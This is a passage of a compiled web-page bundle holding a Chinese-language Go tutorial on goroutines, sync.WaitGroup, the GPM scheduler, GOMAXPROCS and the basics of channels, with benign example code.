\u542f\u52a8\u53e6\u5916\u4e00\u4e2agoroutine\u53bb\u6267\u884chello\u51fd\u6570\n\tfmt.Println("main goroutine done!")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u8ff0\u4ee3\u7801\u91cd\u65b0\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u5f97\u5230\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u4f60\u597d\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\u7684\u6267\u884c\u7ed3\u679c\u53ea\u5728\u7ec8\u7aef\u6253\u5370\u4e86\u201d\u4f60\u597d\u201d\uff0c\u5e76\u6ca1\u6709\u6253\u5370 ",(0,i.jsx)(e.code,{children:"hello"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u5b9e\u5728 Go \u7a0b\u5e8f\u542f\u52a8\u65f6\uff0cGo \u7a0b\u5e8f\u5c31\u4f1a\u4e3a main \u51fd\u6570\u521b\u5efa\u4e00\u4e2a\u9ed8\u8ba4\u7684 goroutine \u3002\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u6211\u4eec\u5728 main \u51fd\u6570\u4e2d\u4f7f\u7528 go \u5173\u952e\u5b57\u521b\u5efa\u4e86\u53e6\u5916\u4e00\u4e2a goroutine \u53bb\u6267\u884c hello \u51fd\u6570\uff0c\u800c\u6b64\u65f6 main goroutine \u8fd8\u5728\u7ee7\u7eed\u5f80\u4e0b\u6267\u884c\uff0c\u6211\u4eec\u7684\u7a0b\u5e8f\u4e2d\u6b64\u65f6\u5b58\u5728\u4e24\u4e2a\u5e76\u53d1\u6267\u884c\u7684 goroutine\u3002\u5f53 main \u51fd\u6570\u7ed3\u675f\u65f6\u6574\u4e2a\u7a0b\u5e8f\u4e5f\u5c31\u7ed3\u675f\u4e86\uff0c\u540c\u65f6 main goroutine \u4e5f\u7ed3\u675f\u4e86\uff0c\u6240\u6709\u7531 main goroutine \u521b\u5efa\u7684 goroutine \u4e5f\u4f1a\u4e00\u540c\u9000\u51fa\u3002\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u7684 main \u51fd\u6570\u9000\u51fa\u592a\u5feb\uff0c\u53e6\u5916\u4e00\u4e2a goroutine \u4e2d\u7684\u51fd\u6570\u8fd8\u672a\u6267\u884c\u5b8c\u7a0b\u5e8f\u5c31\u9000\u51fa\u4e86\uff0c\u5bfc\u81f4\u672a\u6253\u5370\u51fa\u201chello\u201d\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:"main goroutine \u5c31\u50cf\u662f\u300a\u6743\u5229\u7684\u6e38\u620f\u300b\u4e2d\u7684\u591c\u738b\uff0c\u5176\u4ed6\u7684 goroutine \u90fd\u662f\u591c\u738b\u8f6c\u5316\u51fa\u7684\u5f02\u9b3c\uff0c\u591c\u738b\u4e00\u6b7b\u5b83\u8f6c\u5316\u7684\u90a3\u4e9b\u5f02\u9b3c\u4e5f\u5c31\u5168\u90e8GG\u4e86\u3002"})}),"\n",(0,i.jsx)(e.p,{children:"\u6240\u4ee5\u6211\u4eec\u8981\u60f3\u529e\u6cd5\u8ba9 main \u51fd\u6570\u2018\u201c\u7b49\u4e00\u7b49\u201d\u5c06\u5728\u53e6\u4e00\u4e2a goroutine \u4e2d\u8fd0\u884c\u7684 hello \u51fd\u6570\u3002\u5176\u4e2d\u6700\u7b80\u5355\u7c97\u66b4\u7684\u65b9\u5f0f\u5c31\u662f\u5728 main \u51fd\u6570\u4e2d\u201ctime.Sleep\u201d\u4e00\u79d2\u949f\u4e86\uff08\u8fd9\u91cc\u76841\u79d2\u949f\u53ea\u662f\u6211\u4eec\u4e3a\u4e86\u4fdd\u8bc1\u65b0\u7684 goroutine \u80fd\u591f\u88ab\u6b63\u5e38\u521b\u5efa\u548c\u6267\u884c\u800c\u8bbe\u7f6e\u7684\u4e00\u4e2a\u503c\uff09\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u6309\u5982\u4e0b\u65b9\u5f0f\u4fee\u6539\u6211\u4eec\u7684\u793a\u4f8b\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"time"\n)\n\nfunc hello() {\n\tfmt.Println("hello")\n}\n\nfunc main() {\n\tgo hello()\n\tfmt.Println("\u4f60\u597d")\n\ttime.Sleep(time.Second)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u6211\u4eec\u7684\u7a0b\u5e8f\u91cd\u65b0\u7f16\u8bd1\u540e\u518d\u6b21\u6267\u884c\uff0c\u7a0b\u5e8f\u4f1a\u5728\u7ec8\u7aef\u8f93\u51fa\u5982\u4e0b\u7ed3\u679c\uff0c\u5e76\u4e14\u4f1a\u77ed\u6682\u505c\u987f\u4e00\u4f1a\u513f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u4f60\u597d\nhello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e3a\u4ec0\u4e48\u4f1a\u5148\u6253\u5370",(0,i.jsx)(e.code,{children:"\u4f60\u597d"}),"\u5462\uff1f"]}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u662f\u56e0\u4e3a\u5728\u7a0b\u5e8f\u4e2d\u521b\u5efa goroutine \u6267\u884c\u51fd\u6570\u9700\u8981\u4e00\u5b9a\u7684\u5f00\u9500\uff0c\u800c\u4e0e\u6b64\u540c\u65f6 main \u51fd\u6570\u6240\u5728\u7684 goroutine \u662f\u7ee7\u7eed\u6267\u884c\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"main goroutine\u548chello goorutine",src:t(82905).A+"",width:"412",height:"462"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u7a0b\u5e8f\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"time.Sleep"}),"\u8ba9 main goroutine \u7b49\u5f85 hello goroutine\u6267\u884c\u7ed3\u675f\u662f\u4e0d\u4f18\u96c5\u7684\uff0c\u5f53\u7136\u4e5f\u662f\u4e0d\u51c6\u786e\u7684\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go \u8bed\u8a00\u4e2d\u901a\u8fc7",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e9b\u5e38\u7528\u7684\u5e76\u53d1\u539f\u8bed\uff0c\u6211\u4eec\u4f1a\u5728\u540e\u9762\u7684\u5c0f\u8282\u5355\u72ec\u4ecb\u7ecd",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u7684\u5185\u5bb9\u3002\u5728\u8fd9\u4e00\u5c0f\u8282\uff0c\u6211\u4eec\u4f1a\u5148\u4ecb\u7ecd\u4e00\u4e0b sync \u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"WaitGroup"}),"\u3002\u5f53\u4f60\u5e76\u4e0d\u5173\u5fc3\u5e76\u53d1\u64cd\u4f5c\u7684\u7ed3\u679c\u6216\u8005\u6709\u5176\u5b83\u65b9\u5f0f\u6536\u96c6\u5e76\u53d1\u64cd\u4f5c\u7684\u7ed3\u679c\u65f6\uff0c",(0,i.jsx)(e.code,{children:"WaitGroup"}),"\u662f\u5b9e\u73b0\u7b49\u5f85\u4e00\u7ec4\u5e76\u53d1\u64cd\u4f5c\u5b8c\u6210\u7684\u597d\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u6211\u4eec\u5728 main goroutine \u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u7b49\u5f85 hello goroutine \u5b8c\u6210\u540e\u518d\u9000\u51fa\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\n// \u58f0\u660e\u5168\u5c40\u7b49\u5f85\u7ec4\u53d8\u91cf\nvar wg sync.WaitGroup\n\nfunc hello() {\n\tfmt.Println("hello")\n\twg.Done() // \u544a\u77e5\u5f53\u524dgoroutine\u5b8c\u6210\n}\n\nfunc main() {\n\twg.Add(1) // \u767b\u8bb01\u4e2agoroutine\n\tgo hello()\n\tfmt.Println("\u4f60\u597d")\n\twg.Wait() // \u963b\u585e\u7b49\u5f85\u767b\u8bb0\u7684goroutine\u5b8c\u6210\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4ee3\u7801\u7f16\u8bd1\u540e\u518d\u6267\u884c\uff0c\u5f97\u5230\u7684\u8f93\u51fa\u7ed3\u679c\u548c\u4e4b\u524d\u4e00\u81f4\uff0c\u4f46\u662f\u8fd9\u4e00\u6b21\u7a0b\u5e8f\u4e0d\u518d\u4f1a\u6709\u591a\u4f59\u7684\u505c\u987f\uff0chello goroutine \u6267\u884c\u5b8c\u6bd5\u540e\u7a0b\u5e8f\u76f4\u63a5\u9000\u51fa\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u542f\u52a8\u591a\u4e2agoroutine",children:"\u542f\u52a8\u591a\u4e2agoroutine"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 Go \u8bed\u8a00\u4e2d\u5b9e\u73b0\u5e76\u53d1\u5c31\u662f\u8fd9\u6837\u7b80\u5355\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u542f\u52a8\u591a\u4e2a goroutine \u3002\u8ba9\u6211\u4eec\u518d\u6765\u770b\u4e00\u4e2a\u65b0\u7684\u4ee3\u7801\u793a\u4f8b\u3002\u8fd9\u91cc\u540c\u6837\u4f7f\u7528\u4e86",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u5b9e\u73b0 goroutine \u7684\u540c\u6b65\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\nvar wg sync.WaitGroup\n\nfunc hello(i int) {\n\tdefer wg.Done() // goroutine\u7ed3\u675f\u5c31\u767b\u8bb0-1\n\tfmt.Println("hello", i)\n}\nfunc main() {\n\tfor i := 0; i < 10; i++ {\n\t\twg.Add(1) // \u542f\u52a8\u4e00\u4e2agoroutine\u5c31\u767b\u8bb0+1\n\t\tgo hello(i)\n\t}\n\twg.Wait() // \u7b49\u5f85\u6240\u6709\u767b\u8bb0\u7684goroutine\u90fd\u7ed3\u675f\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u591a\u6b21\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u53d1\u73b0\u6bcf\u6b21\u7ec8\u7aef\u4e0a\u6253\u5370\u6570\u5b57\u7684\u987a\u5e8f\u90fd\u4e0d\u4e00\u81f4\u3002\u8fd9\u662f\u56e0\u4e3a10\u4e2a goroutine \u662f\u5e76\u53d1\u6267\u884c\u7684\uff0c\u800c goroutine \u7684\u8c03\u5ea6\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u52a8\u6001\u6808",children:"\u52a8\u6001\u6808"}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u7cfb\u7edf\u7684\u7ebf\u7a0b\u4e00\u822c\u90fd\u6709\u56fa\u5b9a\u7684\u6808\u5185\u5b58\uff08\u901a\u5e38\u4e3a2MB\uff09,\u800c Go \u8bed\u8a00\u4e2d\u7684 goroutine \u975e\u5e38\u8f7b\u91cf\u7ea7\uff0c\u4e00\u4e2a goroutine \u7684\u521d\u59cb\u6808\u7a7a\u95f4\u5f88\u5c0f\uff08\u4e00\u822c\u4e3a2KB\uff09\uff0c\u6240\u4ee5\u5728 Go \u8bed\u8a00\u4e2d\u4e00\u6b21\u521b\u5efa\u6570\u4e07\u4e2a goroutine \u4e5f\u662f\u53ef\u80fd\u7684\u3002\u5e76\u4e14 goroutine \u7684\u6808\u4e0d\u662f\u56fa\u5b9a\u7684\uff0c\u53ef\u4ee5\u6839\u636e\u9700\u8981\u52a8\u6001\u5730\u589e\u5927\u6216\u7f29\u5c0f\uff0c Go \u7684 runtime \u4f1a\u81ea\u52a8\u4e3a goroutine \u5206\u914d\u5408\u9002\u7684\u6808\u7a7a\u95f4\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"goroutine\u8c03\u5ea6",children:"goroutine\u8c03\u5ea6"}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u7cfb\u7edf\u5185\u6838\u5728\u8c03\u5ea6\u65f6\u4f1a\u6302\u8d77\u5f53\u524d\u6b63\u5728\u6267\u884c\u7684\u7ebf\u7a0b\u5e76\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u5185\u5bb9\u4fdd\u5b58\u5230\u5185\u5b58\u4e2d\uff0c\u7136\u540e\u9009\u51fa\u63a5\u4e0b\u6765\u8981\u6267\u884c\u7684\u7ebf\u7a0b\u5e76\u4ece\u5185\u5b58\u4e2d\u6062\u590d\u8be5\u7ebf\u7a0b\u7684\u5bc4\u5b58\u5668\u4fe1\u606f\uff0c\u7136\u540e\u6062\u590d\u6267\u884c\u8be5\u7ebf\u7a0b\u7684\u73b0\u573a\u5e76\u5f00\u59cb\u6267\u884c\u7ebf\u7a0b\u3002\u4ece\u4e00\u4e2a\u7ebf\u7a0b\u5207\u6362\u5230\u53e6\u4e00\u4e2a\u7ebf\u7a0b\u9700\u8981\u5b8c\u6574\u7684\u4e0a\u4e0b\u6587\u5207\u6362\u3002\u56e0\u4e3a\u53ef\u80fd\u9700\u8981\u591a\u6b21\u5185\u5b58\u8bbf\u95ee\uff0c\u7d22\u5f15\u8fd9\u4e2a\u5207\u6362\u4e0a\u4e0b\u6587\u7684\u64cd\u4f5c\u5f00\u9500\u8f83\u5927\uff0c\u4f1a\u589e\u52a0\u8fd0\u884c\u7684cpu\u5468\u671f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u533a\u522b\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u5185\u6838\u8c03\u5ea6\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\uff0cgoroutine \u7684\u8c03\u5ea6\u662fGo\u8bed\u8a00\u8fd0\u884c\u65f6\uff08runtime\uff09\u5c42\u9762\u7684\u5b9e\u73b0\uff0c\u662f\u5b8c\u5168\u7531 Go \u8bed\u8a00\u672c\u8eab\u5b9e\u73b0\u7684\u4e00\u5957\u8c03\u5ea6\u7cfb\u7edf\u2014\u2014go scheduler\u3002\u5b83\u7684\u4f5c\u7528\u662f\u6309\u7167\u4e00\u5b9a\u7684\u89c4\u5219\u5c06\u6240\u6709\u7684 goroutine \u8c03\u5ea6\u5230\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\u4e0a\u6267\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u7ecf\u5386\u6570\u4e2a\u7248\u672c\u7684\u8fed\u4ee3\u4e4b\u540e\uff0c\u76ee\u524d Go \u8bed\u8a00\u7684\u8c03\u5ea6\u5668\u91c7\u7528\u7684\u662f ",(0,i.jsx)(e.code,{children:"GPM"})," \u8c03\u5ea6\u6a21\u578b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"gpm",src:t(64931).A+"",width:"712",height:"867"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["G\uff1a\u8868\u793a goroutine\uff0c\u6bcf\u6267\u884c\u4e00\u6b21",(0,i.jsx)(e.code,{children:"go f()"}),"\u5c31\u521b\u5efa\u4e00\u4e2a G\uff0c\u5305\u542b\u8981\u6267\u884c\u7684\u51fd\u6570\u548c\u4e0a\u4e0b\u6587\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u5168\u5c40\u961f\u5217\uff08Global Queue\uff09\uff1a\u5b58\u653e\u7b49\u5f85\u8fd0\u884c\u7684 G\u3002"}),"\n",(0,i.jsx)(e.li,{children:"P\uff1a\u8868\u793a goroutine \u6267\u884c\u6240\u9700\u7684\u8d44\u6e90\uff0c\u6700\u591a\u6709 GOMAXPROCS \u4e2a\u3002"}),"\n",(0,i.jsx)(e.li,{children:"P \u7684\u672c\u5730\u961f\u5217\uff1a\u540c\u5168\u5c40\u961f\u5217\u7c7b\u4f3c\uff0c\u5b58\u653e\u7684\u4e5f\u662f\u7b49\u5f85\u8fd0\u884c\u7684G\uff0c\u5b58\u7684\u6570\u91cf\u6709\u9650\uff0c\u4e0d\u8d85\u8fc7256\u4e2a\u3002\u65b0\u5efa G \u65f6\uff0cG \u4f18\u5148\u52a0\u5165\u5230 P \u7684\u672c\u5730\u961f\u5217\uff0c\u5982\u679c\u672c\u5730\u961f\u5217\u6ee1\u4e86\u4f1a\u6279\u91cf\u79fb\u52a8\u90e8\u5206 G \u5230\u5168\u5c40\u961f\u5217\u3002"}),"\n",(0,i.jsx)(e.li,{children:"M\uff1a\u7ebf\u7a0b\u60f3\u8fd0\u884c\u4efb\u52a1\u5c31\u5f97\u83b7\u53d6 P\uff0c\u4ece P \u7684\u672c\u5730\u961f\u5217\u83b7\u53d6 G\uff0c\u5f53 P \u7684\u672c\u5730\u961f\u5217\u4e3a\u7a7a\u65f6\uff0cM \u4e5f\u4f1a\u5c1d\u8bd5\u4ece\u5168\u5c40\u961f\u5217\u6216\u5176\u4ed6 P \u7684\u672c\u5730\u961f\u5217\u83b7\u53d6 G\u3002M \u8fd0\u884c G\uff0cG \u6267\u884c\u4e4b\u540e\uff0cM \u4f1a\u4ece P \u83b7\u53d6\u4e0b\u4e00\u4e2a G\uff0c\u4e0d\u65ad\u91cd\u590d\u4e0b\u53bb\u3002"}),"\n",(0,i.jsx)(e.li,{children:"Goroutine \u8c03\u5ea6\u5668\u548c\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u5668\u662f\u901a\u8fc7 M \u7ed3\u5408\u8d77\u6765\u7684\uff0c\u6bcf\u4e2a M \u90fd\u4ee3\u8868\u4e861\u4e2a\u5185\u6838\u7ebf\u7a0b\uff0c\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u5668\u8d1f\u8d23\u628a\u5185\u6838\u7ebf\u7a0b\u5206\u914d\u5230 CPU \u7684\u6838\u4e0a\u6267\u884c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5355\u4ece\u7ebf\u7a0b\u8c03\u5ea6\u8bb2\uff0cGo\u8bed\u8a00\u76f8\u6bd4\u8d77\u5176\u4ed6\u8bed\u8a00\u7684\u4f18\u52bf\u5728\u4e8eOS\u7ebf\u7a0b\u662f\u7531OS\u5185\u6838\u6765\u8c03\u5ea6\u7684\uff0c goroutine \u5219\u662f\u7531Go\u8fd0\u884c\u65f6\uff08runtime\uff09\u81ea\u5df1\u7684\u8c03\u5ea6\u5668\u8c03\u5ea6\u7684\uff0c\u5b8c\u5168\u662f\u5728\u7528\u6237\u6001\u4e0b\u5b8c\u6210\u7684\uff0c \u4e0d\u6d89\u53ca\u5185\u6838\u6001\u4e0e\u7528\u6237\u6001\u4e4b\u95f4\u7684\u9891\u7e41\u5207\u6362\uff0c\u5305\u62ec\u5185\u5b58\u7684\u5206\u914d\u4e0e\u91ca\u653e\uff0c\u90fd\u662f\u5728\u7528\u6237\u6001\u7ef4\u62a4\u7740\u4e00\u5757\u5927\u7684\u5185\u5b58\u6c60\uff0c \u4e0d\u76f4\u63a5\u8c03\u7528\u7cfb\u7edf\u7684malloc\u51fd\u6570\uff08\u9664\u975e\u5185\u5b58\u6c60\u9700\u8981\u6539\u53d8\uff09\uff0c\u6210\u672c\u6bd4\u8c03\u5ea6OS\u7ebf\u7a0b\u4f4e\u5f88\u591a\u3002 \u53e6\u4e00\u65b9\u9762\u5145\u5206\u5229\u7528\u4e86\u591a\u6838\u7684\u786c\u4ef6\u8d44\u6e90\uff0c\u8fd1\u4f3c\u7684\u628a\u82e5\u5e72goroutine\u5747\u5206\u5728\u7269\u7406\u7ebf\u7a0b\u4e0a\uff0c \u518d\u52a0\u4e0a\u672c\u8eab goroutine \u7684\u8d85\u8f7b\u91cf\u7ea7\uff0c\u4ee5\u4e0a\u79cd\u79cd\u7279\u6027\u4fdd\u8bc1\u4e86 goroutine \u8c03\u5ea6\u65b9\u9762\u7684\u6027\u80fd\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"gomaxprocs",children:"GOMAXPROCS"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8fd0\u884c\u65f6\u7684\u8c03\u5ea6\u5668\u4f7f\u7528",(0,i.jsx)(e.code,{children:"GOMAXPROCS"}),"\u53c2\u6570\u6765\u786e\u5b9a\u9700\u8981\u4f7f\u7528\u591a\u5c11\u4e2a OS \u7ebf\u7a0b\u6765\u540c\u65f6\u6267\u884c Go \u4ee3\u7801\u3002\u9ed8\u8ba4\u503c\u662f\u673a\u5668\u4e0a\u7684 CPU \u6838\u5fc3\u6570\u3002\u4f8b\u5982\u5728\u4e00\u4e2a 8 \u6838\u5fc3\u7684\u673a\u5668\u4e0a\uff0cGOMAXPROCS \u9ed8\u8ba4\u4e3a 8\u3002Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"runtime.GOMAXPROCS"}),"\u51fd\u6570\u8bbe\u7f6e\u5f53\u524d\u7a0b\u5e8f\u5e76\u53d1\u65f6\u5360\u7528\u7684 CPU\u903b\u8f91\u6838\u5fc3\u6570\u3002\uff08Go1.5\u7248\u672c\u4e4b\u524d\uff0c\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f\u5355\u6838\u5fc3\u6267\u884c\u3002Go1.5 \u7248\u672c\u4e4b\u540e\uff0c\u9ed8\u8ba4\u4f7f\u7528\u5168\u90e8\u7684CPU \u903b\u8f91\u6838\u5fc3\u6570\u3002\uff09"]}),"\n",(0,i.jsx)(e.h3,{id:"\u7ec3\u4e60\u9898",children:"\u7ec3\u4e60\u9898"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u8bf7\u5199\u51fa\u4e0b\u9762\u7a0b\u5e8f\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" for i := 0; i < 5; i++ {\n \tgo func() {\n \t\tfmt.Println(i)\n \t}()\n }\n"})}),"\n",(0,i.jsx)(e.h2,{id:"channel",children:"channel"}),"\n",(0,i.jsx)(e.p,{children:"\u5355\u7eaf\u5730\u5c06\u51fd\u6570\u5e76\u53d1\u6267\u884c\u662f\u6ca1\u6709\u610f\u4e49\u7684\u3002\u51fd\u6570\u4e0e\u51fd\u6570\u95f4\u9700\u8981\u4ea4\u6362\u6570\u636e\u624d\u80fd\u4f53\u73b0\u5e76\u53d1\u6267\u884c\u51fd\u6570\u7684\u610f\u4e49\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u867d\u7136\u53ef\u4ee5\u4f7f\u7528\u5171\u4eab\u5185\u5b58\u8fdb\u884c\u6570\u636e\u4ea4\u6362\uff0c\u4f46\u662f\u5171\u4eab\u5185\u5b58\u5728\u4e0d\u540c\u7684 goroutine \u4e2d\u5bb9\u6613\u53d1\u751f\u7ade\u6001\u95ee\u9898\u3002\u4e3a\u4e86\u4fdd\u8bc1\u6570\u636e\u4ea4\u6362\u7684\u6b63\u786e\u6027\uff0c\u5f88\u591a\u5e76\u53d1\u6a21\u578b\u4e2d\u5fc5\u987b\u4f7f\u7528\u4e92\u65a5\u91cf\u5bf9\u5185\u5b58\u8fdb\u884c\u52a0\u9501\uff0c\u8fd9\u79cd\u505a\u6cd5\u52bf\u5fc5\u9020\u6210\u6027\u80fd\u95ee\u9898\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u91c7\u7528\u7684\u5e76\u53d1\u6a21\u578b\u662f",(0,i.jsx)(e.code,{children:"CSP\uff08Communicating Sequential Processes\uff09"}),"\uff0c\u63d0\u5021",(0,i.jsx)(e.strong,{children:"\u901a\u8fc7\u901a\u4fe1\u5171\u4eab\u5185\u5b58"}),"\u800c\u4e0d\u662f",(0,i.jsx)(e.strong,{children:"\u901a\u8fc7\u5171\u4eab\u5185\u5b58\u800c\u5b9e\u73b0\u901a\u4fe1"}),"\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u8bf4 goroutine \u662fGo\u7a0b\u5e8f\u5e76\u53d1\u7684\u6267\u884c\u4f53\uff0c",(0,i.jsx)(e.code,{children:"channel"}),"\u5c31\u662f\u5b83\u4eec\u4e4b\u95f4\u7684\u8fde\u63a5\u3002",(0,i.jsx)(e.code,{children:"channel"}),"\u662f\u53ef\u4ee5\u8ba9\u4e00\u4e2a goroutine \u53d1\u9001\u7279\u5b9a\u503c\u5230\u53e6\u4e00\u4e2a goroutine \u7684\u901a\u4fe1\u673a\u5236\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Go \u8bed\u8a00\u4e2d\u7684\u901a\u9053\uff08channel\uff09\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u7c7b\u578b\u3002\u901a\u9053\u50cf\u4e00\u4e2a\u4f20\u9001\u5e26\u6216\u8005\u961f\u5217\uff0c\u603b\u662f\u9075\u5faa\u5148\u5165\u5148\u51fa\uff08First In First Out\uff09\u7684\u89c4\u5219\uff0c\u4fdd\u8bc1\u6536\u53d1\u6570\u636e\u7684\u987a\u5e8f\u3002\u6bcf\u4e00\u4e2a\u901a\u9053\u90fd\u662f\u4e00\u4e2a\u5177\u4f53\u7c7b\u578b\u7684\u5bfc\u7ba1\uff0c\u4e5f\u5c31\u662f\u58f0\u660echannel\u7684\u65f6\u5019\u9700\u8981\u4e3a\u5176\u6307\u5b9a\u5143\u7d20\u7c7b\u578b\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"channel\u7c7b\u578b",children:"channel\u7c7b\u578b"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"channel"}),"\u662f Go \u8bed\u8a00\u4e2d\u4e00\u79cd\u7279\u6709\u7684\u7c7b\u578b\u3002\u58f0\u660e\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d\u79f0 chan \u5143\u7d20\u7c7b\u578b\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"chan\uff1a\u662f\u5173\u952e\u5b57"}),"\n",(0,i.jsx)(e.li,{children:"\u5143\u7d20\u7c7b\u578b\uff1a\u662f\u6307\u901a\u9053\u4e2d\u4f20\u9012\u5143\u7d20\u7684\u7c7b\u578b"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch1 chan int // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012\u6574\u578b\u7684\u901a\u9053\nvar ch2 chan bool // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012\u5e03\u5c14\u578b\u7684\u901a\u9053\nvar ch3 chan []int // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012int\u5207\u7247\u7684\u901a\u9053\n"})}),"\n",(0,i.jsx)(e.h3,{id:"channel\u96f6\u503c",children:"channel\u96f6\u503c"}),"\n",(0,i.jsxs)(e.p,{children:["\u672a\u521d\u59cb\u5316\u7684\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u5176\u9ed8\u8ba4\u96f6\u503c\u662f",(0,i.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch chan int\nfmt.Println(ch) // <nil>\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u521d\u59cb\u5316channel",children:"\u521d\u59cb\u5316channel"}),"\n",(0,i.jsxs)(e.p,{children:["\u58f0\u660e\u7684\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u9700\u8981\u4f7f\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"make"}),"\u51fd\u6570\u521d\u59cb\u5316\u4e4b\u540e\u624d\u80fd\u4f7f\u7528\u3002\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"make(chan \u5143\u7d20\u7c7b\u578b, 